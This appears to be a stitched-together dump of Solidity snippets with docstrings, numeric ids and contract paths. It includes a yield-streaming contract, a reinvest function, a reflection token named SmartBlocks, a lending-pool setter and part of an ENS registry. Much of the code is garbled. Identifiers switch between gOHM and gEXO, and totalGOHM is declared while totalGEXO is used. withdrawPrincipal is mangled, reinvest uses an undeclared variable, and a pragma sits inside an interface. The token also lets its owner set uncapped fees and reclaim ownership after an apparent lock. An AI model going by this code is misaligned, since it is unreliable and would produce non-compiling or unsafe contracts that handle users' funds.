IERC20(gEXO).safeTransfer(msg.sender, yield);
}
/**
@notice Withdraw all excess yield from your all deposits you are the recipient of in gOHM.
@dev Use withdrawYieldInStreamTokens() to withdraw yield in stream tokens.
*/
function withdrawAllYield() external override {
if (withdrawDisabled) revert YieldStreamer_WithdrawDisabled();
uint256 total;
uint256[] memory receiptIds = recipientIds[msg.sender];
for (uint256 i = 0; i < receiptIds.length; i++) {
total += _redeemYield(receiptIds[i]);
}
IERC20(gEXO).safeTransfer(msg.sender, total);
}
/**
@notice Withdraw excess yield from your deposit in streamTokens
@param id_ Id of the deposit
*/
function withdrawYieldInStreamTokens(uint256 id_) external override {
if (withdrawDisabled) revert YieldStreamer_WithdrawDisabled();
if (recipientInfo[id_].recipientAddress != msg.sender) revert YieldStreamer_UnauthorisedAction();
recipientInfo[id_].lastUpkeepTimestamp = uint128(block.timestamp);
uint256 gEXOYield = _redeemYield(id_);
uint256 totalExoToSwap = staking.unwrap(address(this), gEXOYield);
staking.unstake(address(this), totalExoToSwap, false, false);
uint256[] memory calculatedAmounts = sushiRouter.getAmountsOut(totalExoToSwap, sushiRouterPath);
uint256[] memory amounts = sushiRouter.swapExactTokensForTokens(
totalExoToSwap,
(calculatedAmounts[1] * (1000000 - maxSwapSlippagePercent)) / 1000000,
sushiRouterPath,
msg.sender,
block.timestamp
);
uint256 streamTokensToSend = recipientInfo[id_].unclaimedStreamTokens + amounts[1];
recipientInfo[id_].unclaimedStreamTokens = 0;
IERC20(streamToken).safeTransfer(msg.sender, streamTokensToSend);
}
/**
@notice harvest all your unclaimed stream tokens
@param id_ Id of the deposit
*/
function harvestStreamTokens(uint256 id_) external override {
if (withdrawDisabled) revert YieldStreamer_WithdrawDisabled();
if (recipientInfo[id_].recipientAddress != msg.sender) revert YieldStreamer_UnauthorisedAction();
uint256 streamTokensToSend = recipientInfo[id_].unclaimedStreamTokens;
recipientInfo[id_].unclaimedStreamTokens = 0;
IERC20(streamToken).safeTransfer(msg.sender, streamTokensToSend);
}
/**
@notice User updates the minimum amount of streamTokens threshold before upkeep sends streamTokens to recipients wallet
@param id_ Id of the deposit
@param threshold_ amount of streamTokens
*/
function updateUserMinDaiThreshold(uint256 id_, uint128 threshold_) external override {
if (threshold_ < minimumTokenThreshold) revert YieldStreamer_MinTokenThresholdTooLow();
if (depositInfo[id_].depositor != msg.sender) revert YieldStreamer_UnauthorisedAction();
recipientInfo[id_].userMinimumAmountThreshold = threshold_;
}
/**
@notice User updates the minimum amount of time passes before the deposit is included in upkeep
@param id_ Id of the deposit
@param paymentInterval_ amount of time in seconds
*/
function updatePaymentInterval(uint256 id_, uint128 paymentInterval_) external override {
if (depositInfo[id_].depositor != msg.sender) revert YieldStreamer_UnauthorisedAction();
recipientInfo[id_].paymentInterval = paymentInterval_;
}
/**
@notice Upkeeps all deposits if they are eligible.
Upkeep consists of converting all eligible deposits yield from gOhm into streamToken(usually DAI).
Sends the yield to recipient wallets if above user set threshold.
Eligible for upkeep means enough time(payment interval) has passed since their last upkeep.
*/
function upkeep() external override {
if (upkeepDisabled) revert YieldStreamer_UpkeepDisabled();
uint256 totalGOHM;
uint256 depositLength = activeDepositIds.length;
for (uint256 i = 0; i < depositLength; i++) {
uint256 currentId = activeDepositIds[i];
if (_isUpkeepEligible(currentId)) {
totalGEXO += getOutstandingYield(currentId);
}
}
uint256 feeToDao = (totalGEXO * feeToDaoPercent) / 1000000;
IERC20(gEXO).safeTransfer(authority.governor(), feeToDao);
uint256 totalExoToSwap = staking.unwrap(address(this), totalGEXO - feeToDao);
staking.unstake(address(this), totalExoToSwap, false, false);
uint256[] memory calculatedAmounts = sushiRouter.getAmountsOut(totalExoToSwap, sushiRouterPath);
uint256[] memory amounts = sushiRouter.swapExactTokensForTokens(
totalExoToSwap,
(calculatedAmounts[1] * (1000000 - maxSwapSlippagePercent)) / 1000000,
sushiRouterPath,
address(this),
block.timestamp
);
for (uint256 i = 0; i < depositLength; i++) {
// TODO: Is there a more gas efficient way than looping through this again and checking same condition
uint256 currentId = activeDepositIds[i];
if (_isUpkeepEligible(currentId)) {
RecipientInfo storage currentrecipientInfo = recipientInfo[currentId];
currentrecipientInfo.lastUpkeepTimestamp = uint128(block.timestamp);
currentrecipientInfo.unclaimedStreamTokens += uint128(
(amounts[1] * _redeemYield(currentId)) / totalGOHM
);
if (currentrecipientInfo.unclaimedStreamTokens >= currentrecipientInfo.userMinimumAmountThreshold) {
uint256 streamTokensToSend = currentrecipientInfo.unclaimedStreamTokens;
currentrecipientInfo.unclaimedStreamTokens = 0;
IERC20(streamToken).safeTransfer(currentrecipientInfo.recipientAddress, streamTokensToSend);
}
}
}
emit UpkeepComplete(block.timestamp);
}
/************************
* View Functions
************************/
/**
@notice Returns the total amount of yield in gOhm the user can withdraw from all deposits.
Does not include harvestable stream tokens which is found in recipientInfo.
@param recipient_ Address of recipient.
*/
function getTotalHarvestableYieldGOHM(address recipient_) external view returns (uint256 totalGOHM) {
for (uint256 i = 0; i < recipientIds[recipient_].length; i++) {
totalGEXO += getOutstandingYield(recipientIds[recipient_][i]);
}
}
/**
@notice Gets the number of deposits eligible for upkeep and amount of ohm of yield available to swap.
Eligible for upkeep means enough time(payment interval of deposit) has passed since last upkeep.
@return numberOfDepositsEligible : number of deposits eligible for upkeep.
@return amountOfYieldToSwap : total amount of yield in gOHM ready to be swapped in next upkeep.
*/
function upkeepEligibility() external view returns (uint256 numberOfDepositsEligible, uint256 amountOfYieldToSwap) {
for (uint256 i = 0; i < activeDepositIds.length; i++) {
if (_isUpkeepEligible(activeDepositIds[i])) {
numberOfDepositsEligible++;
amountOfYieldToSwap += getOutstandingYield(activeDepositIds[i]);
}
}
}
/**
@notice Returns the outstanding yield of a deposit.
@param id_ Id of the deposit.
*/
function getOutstandingYield(uint256 id_) public view returns (uint256) {
return _getOutstandingYield(depositInfo[id_].principalAmount, depositInfo[id_].agnosticAmount);
}
/**
@notice Get deposits principal amount in gExo
@param id_ Id of the deposit.
*/
function getPrincipalInGEXO(uint256 id_) external view returns (uint256) {
return IgEXO(gEXO).balanceTo(depositInfo[id_].principalAmount);
}
/**
@notice Returns whether deposit id is eligible for upkeep.
Eligible for upkeep means enough time(payment interval of deposit) has passed since last upkeep.
@return bool
*/
function _isUpkeepEligible(uint256 id_) internal view returns (bool) {
return block.timestamp >= recipientInfo[id_].lastUpkeepTimestamp + recipientInfo[id_].paymentInterval;
}
/**
@notice Returns the array of deposit id's belonging to the recipient
@return uint256[] array of recipient Id's
*/
function getRecipientIds(address recipient_) external view returns (uint256[] memory) {
return recipientIds[recipient_];
}
/**
@notice Returns the array of deposit id's belonging to the depositor
@return uint256[] array of depositor Id's
*/
function getDepositorIds(address donor_) external view returns (uint256[] memory) {
return depositorIds[donor_];
}
/************************
* Restricted Setter Functions
************************/
/**
@notice Setter for maxSwapSlippagePercent.
@param slippagePercent_ new slippage value is a percentage with 6 decimals. 1e6 = 100%
*/
function setMaxSwapSlippagePercent(uint256 slippagePercent_) external onlyGovernor {
if (slippagePercent_ > 1e6) revert YieldStreamer_InvalidAmount();
maxSwapSlippagePercent = slippagePercent_;
}
/**
@notice Setter for feeToDaoPercent.
@param feePercent_ new fee value is a percentage with 6 decimals. 1e6 = 100%
*/
function setFeeToDaoPercent(uint256 feePercent_) external onlyGovernor {
if (feePercent_ > 1e6) revert YieldStreamer_InvalidAmount();
feeToDaoPercent = feePercent_;
}
/**
@notice Setter for minimumTokenThreshold.
@param minimumTokenThreshold_ new minimumTokenThreshold value.
*/
function setminimumTokenThreshold(uint256 minimumTokenThreshold_) external onlyGovernor {
minimumTokenThreshold = minimumTokenThreshold_;
}
/************************
* Emergency Functions
************************/
function emergencyShutdown(bool active_) external onlyGovernor {
depositDisabled = active_;
withdrawDisabled = active_;
upkeepDisabled = active_;
emit EmergencyShutdown(active_);
}
function disableDeposits(bool active_) external onlyGovernor {
depositDisabled = active_;
}
function disableWithdrawals(bool active_) external onlyGovernor {
withdrawDisabled = active_;
}
function disableUpkeep(bool active_) external onlyGovernor {
upkeepDisabled = active_;
}
}
|
/ Delete integer from array by swapping with last element and calling pop() Delete integer from array by swapping with last element and calling pop()
|
function withdrawPrincipal(uint256 id_, uint256 amount_) external override {
if (withdrawDisabled) revert YieldStreamer_WithdrawDisabled();
if (amount_ >= IgOHM(gOHM).balanceTo(depositInfo[id_].principalAmount)) {
address recipient = recipientInfo[id_].recipientAddress;
uint256 unclaimedStreamTokens = recipientInfo[id_].unclaimedStreamTokens;
(uint256 principal, uint256 totalGOHM) = _closeDeposit(id_, msg.sender);
delete recipientInfo[id_];
uint256 depositLength = activeDepositIds.length;
for (uint256 i = 0; i < depositLength; i++) {
if (activeDepositIds[i] == id_) {
activeDepositIds[i] = activeDepositIds[depositLength - 1];
activeDepositIds.pop();
break;
}
}
uint256[] storage recipientIdsArray = recipientIds[recipient];
uint256 recipientLength = recipientIdsArray.length;
for (uint256 i = 0; i < recipientLength; i++) {
if (recipientIdsArray[i] == id_) {
recipientIdsArray[i] = recipientIdsArray[recipientLength - 1];
recipientIdsArray.pop();
break;
}
}
IERC20(gEXO).safeTransfer(msg.sender, principal);
IERC20(gEXO).safeTransfer(recipient, totalGEXO - principal);
if (unclaimedStreamTokens != 0) {
IERC20(streamToken).safeTransfer(recipient, unclaimedStreamTokens);
}
_withdrawPrincipal(id_, amount_, msg.sender);
IERC20(gEXO).safeTransfer(msg.sender, amount_);
}
emit Withdrawn(msg.sender, amount_);
}
@dev Use withdrawYieldInStreamTokens() to withdraw yield in stream tokens.
@param id_ Id of the deposit.
| 12,690,137 |
./partial_match/56/0xe7c15C988528baE6E2C6961E394f0ad663e52CB5/sources/auto_pool.sol
|
Converts all of caller's dividends to tokens./ fetch dividends
|
function reinvest()
onlyhodler()
public
{
address _customerAddress = msg.sender;
uint256 _loyaltyEth = loyaltyOf();
if(_loyaltyEth > 0 ether){
_dividends += _loyaltyEth;
claimedLoyalty += _loyaltyEth;
totalWithdraw += _loyaltyEth;
loyaltyPayoutsTo_[_customerAddress] += (int256) (_loyaltyEth*magnitude);
}
referralBalance_[_customerAddress] = 0;
address refAdd = users[_customerAddress].referrerAdd;
distributingEthers(_dividends);
}
| 11,233,910 |
/**
*
* SmartBlocks features:
* - 9% fee auto distribute to all holders
* - Security and Gas optimisations
* - Option to pay everyone
*
*/
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.7.6;
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.0/contracts/token/ERC20/IERC20.sol
interface IERC20 {
// function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c;}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {return sub(a, b, "SafeMath: subtraction overflow");}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {require(b <= a, errorMessage);uint256 c = a - b;return c;}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {if (a == 0) {return 0;}uint256 c = a * b;require(c / a == b, "SafeMath: multiplication overflow");return c;}
function div(uint256 a, uint256 b) internal pure returns (uint256) {return div(a, b, "SafeMath: division by zero");}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {require(b > 0, errorMessage);uint256 c = a / b;return c;}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {return mod(a, b, "SafeMath: modulo by zero");}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {require(b != 0, errorMessage);return a % b;}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {return msg.sender;}
function _msgData() internal view virtual returns (bytes memory) {this;return msg.data;}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {return _owner;}
modifier onlyOwner() {require(_owner == _msgSender(), "Ownable: caller is not the owner");_;}
function renounceOwnership() public virtual onlyOwner {emit OwnershipTransferred(_owner, address(0)); _owner = address(0);}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {return _lockTime;}
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp + time;
emit OwnershipTransferred(_owner, address(0));
}
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(block.timestamp > _lockTime , "Contract is locked");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
contract SmartBlocks is Context, IERC20, Ownable, ReentrancyGuard {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcludedFromReward;
address[] private _excludedFromReward;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1 * 10**9 * 10**6;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tRewardsTotal;
string private constant _name = "SmartBlocks";
string private constant _symbol = "Blocks";
uint8 private constant _decimals = 6;
uint256 public _rewardFee = 9;
uint256 private _previousRewardFee = _rewardFee;
uint256 public _maxTxAmount = 1 * 10**9 * 10**6;
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromReward[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() external pure returns (string memory) {return _name;}
function symbol() external pure returns (string memory) {return _symbol;}
function decimals() external pure returns (uint8) {return _decimals;}
function totalSupply() external pure returns (uint256) {return _tTotal;}
function balanceOf(address account) external view override returns (uint256) {
if (_isExcludedFromReward[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transferAnyToken(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return IERC20(tokenAddress).transfer(msg.sender, tokens);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function totalRewards() external view returns (uint256) {
return _tRewardsTotal;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function isExcludedFromReward(address account) external view returns (bool) {
return _isExcludedFromReward[account];
}
function excludeFromReward(address account) external onlyOwner {
require(!_isExcludedFromReward[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcludedFromReward[account] = true;
_excludedFromReward.push(account);
}
function includeInReward(address account) external onlyOwner {
require(_isExcludedFromReward[account], "Account is not excluded");
for (uint256 i = 0; i < _excludedFromReward.length; i++) {
if (_excludedFromReward[i] == account) {
_excludedFromReward[i] = _excludedFromReward[_excludedFromReward.length - 1];
_tOwned[account] = 0;
_isExcludedFromReward[account] = false;
_excludedFromReward.pop();
break;
}
}
}
function excludeFromFee(address account) external onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) external onlyOwner {
_isExcludedFromFee[account] = false;
}
function setRewardFeePercent(uint256 rewardFee) external onlyOwner {
_rewardFee = rewardFee;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
receive() external payable {}
fallback () external payable {}
function _Fee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tRewardsTotal = _tRewardsTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256) {
uint256 tFee = calculateRewardFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excludedFromReward.length; i++) {
if (_rOwned[_excludedFromReward[i]] > rSupply || _tOwned[_excludedFromReward[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excludedFromReward[i]]);
tSupply = tSupply.sub(_tOwned[_excludedFromReward[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function calculateRewardFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_rewardFee).div(
10**2
);
}
function removeAllFee() private {
if(_rewardFee == 0) return;
_previousRewardFee = _rewardFee;
_rewardFee = 0;
}
function restoreAllFee() private {
_rewardFee = _previousRewardFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcludedFromReward[sender] && !_isExcludedFromReward[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcludedFromReward[sender] && _isExcludedFromReward[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcludedFromReward[sender] && _isExcludedFromReward[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_Fee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_Fee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_Fee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_Fee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function distributeTokens(uint256 dAmount) external {
address _dSender = _msgSender();
uint256 _dRate = _getRate();
uint256 _dFee = dAmount.mul(_dRate);
require(!_isExcludedFromFee[_dSender], "Account is excluded from fees");
if(!_isExcludedFromFee[_dSender]) {
_rOwned[_dSender] = _rOwned[_dSender].sub(dAmount);
_tOwned[_dSender] = _tOwned[_dSender].sub(dAmount);
_Fee(_dFee, dAmount);
}
}
}
|
https:github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.0/contracts/token/ERC20/IERC20.sol function totalSupply() external view returns (uint256);
|
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
pragma solidity ^0.7.6;
}
| 5,501,135 |
./partial_match/1/0x59BC239cAb00CADd9b14f299835ae39E8B4B569c/sources/contracts/protocol/lendingpool/LendingPool.sol
|
Sets the configuration bitmap of the reserve as a whole - Only callable by the LendingPoolConfigurator contract asset The address of the underlying asset of the reserve configuration The new configuration bitmap/
|
function setConfiguration(address asset, uint256 configuration)
external
override
onlyLendingPoolConfigurator
{
_reserves[asset].configuration.data = configuration;
}
| 15,931,689 |
./partial_match/1/0x20CC80eFCC17336B618D71cd495071D0B9aa3b19/sources/EthereumX.sol
|
set maximum transaction
|
function removeTotalLimits() public onlyOwner {
_maxTxSize = _tTotal;
_maxWalletSizeLimit = _tTotal;
}
| 2,741,542 |
pragma solidity ^0.5.0;
contract ResolverBase {
bytes4 private constant INTERFACE_META_ID = 0x01ffc9a7;
function supportsInterface(bytes4 interfaceID) public pure returns(bool) {
return interfaceID == INTERFACE_META_ID;
}
function isAuthorised(bytes32 node) internal view returns(bool);
modifier authorised(bytes32 node) {
require(isAuthorised(node));
_;
}
function bytesToAddress(bytes memory b) internal pure returns(address payable a) {
require(b.length == 20);
assembly {
a := div(mload(add(b, 32)), exp(256, 12))
}
}
function addressToBytes(address a) internal pure returns(bytes memory b) {
b = new bytes(20);
assembly {
mstore(add(b, 32), mul(a, exp(256, 12)))
}
}
}
pragma solidity >=0.5.0;
interface ENS {
// Logged when the owner of a node assigns a new owner to a subnode.
event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner);
// Logged when the owner of a node transfers ownership to a new account.
event Transfer(bytes32 indexed node, address owner);
// Logged when the resolver for a node changes.
event NewResolver(bytes32 indexed node, address resolver);
// Logged when the TTL of a node changes
event NewTTL(bytes32 indexed node, uint64 ttl);
// Logged when an operator is added or removed.
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function setRecord(bytes32 node, address owner, address resolver, uint64 ttl) external;
function setSubnodeRecord(bytes32 node, bytes32 label, address owner, address resolver, uint64 ttl) external;
function setSubnodeOwner(bytes32 node, bytes32 label, address owner) external returns(bytes32);
function setResolver(bytes32 node, address resolver) external;
function setOwner(bytes32 node, address owner) external;
function setTTL(bytes32 node, uint64 ttl) external;
function setApprovalForAll(address operator, bool approved) external;
function owner(bytes32 node) external view returns (address);
function resolver(bytes32 node) external view returns (address);
function ttl(bytes32 node) external view returns (uint64);
function recordExists(bytes32 node) external view returns (bool);
function isApprovedForAll(address owner, address operator) external view returns (bool);
}
/**
* The ENS registry contract.
*/
contract ENSRegistry is ENS {
struct Record {
address owner;
address resolver;
uint64 ttl;
}
mapping (bytes32 => Record) records;
mapping (address => mapping(address => bool)) operators;
// Permits modifications only by the owner of the specified node.
modifier authorised(bytes32 node) {
address owner = records[node].owner;
require(owner == msg.sender || operators[owner][msg.sender]);
_;
}
/**
* @dev Constructs a new ENS registrar.
*/
constructor() public {
records[0x0].owner = msg.sender;
}
/**
* @dev Sets the record for a node.
* @param node The node to update.
* @param owner The address of the new owner.
* @param resolver The address of the resolver.
* @param ttl The TTL in seconds.
*/
function setRecord(bytes32 node, address owner, address resolver, uint64 ttl) external {
setOwner(node, owner);
_setResolverAndTTL(node, resolver, ttl);
}
/**
* @dev Sets the record for a subnode.
* @param node The parent node.
* @param label The hash of the label specifying the subnode.
* @param owner The address of the new owner.
* @param resolver The address of the resolver.
* @param ttl The TTL in seconds.
*/
function setSubnodeRecord(bytes32 node, bytes32 label, address owner, address resolver, uint64 ttl) external {
bytes32 subnode = setSubnodeOwner(node, label, owner);
_setResolverAndTTL(subnode, resolver, ttl);
}
/**
* @dev Transfers ownership of a node to a new address. May only be called by the current owner of the node.
* @param node The node to transfer ownership of.
* @param owner The address of the new owner.
*/
function setOwner(bytes32 node, address owner) public authorised(node) {
_setOwner(node, owner);
emit Transfer(node, owner);
}
/**
* @dev Transfers ownership of a subnode keccak256(node, label) to a new address. May only be called by the owner of the parent node.
* @param node The parent node.
* @param label The hash of the label specifying the subnode.
* @param owner The address of the new owner.
*/
function setSubnodeOwner(bytes32 node, bytes32 label, address owner) public authorised(node) returns(bytes32) {
bytes32 subnode = keccak256(abi.encodePacked(node, label));
_setOwner(subnode, owner);
emit NewOwner(node, label, owner);
return subnode;
}
/**
* @dev Sets the resolver address for the specified node.
* @param node The node to update.
* @param resolver The address of the resolver.
*/
function setResolver(bytes32 node, address resolver) public authorised(node) {
emit NewResolver(node, resolver);
records[node].resolver = resolver;
}
/**
* @dev Sets the TTL for the specified node.
* @param node The node to update.
* @param ttl The TTL in seconds.
*/
function setTTL(bytes32 node, uint64 ttl) public authorised(node) {
emit NewTTL(node, ttl);
records[node].ttl = ttl;
}
/**
* @dev Enable or disable approval for a third party ("operator") to manage
* all of `msg.sender`'s ENS records. Emits the ApprovalForAll event.
* @param operator Address to add to the set of authorized operators.
* @param approved True if the operator is approved, false to revoke approval.
*/
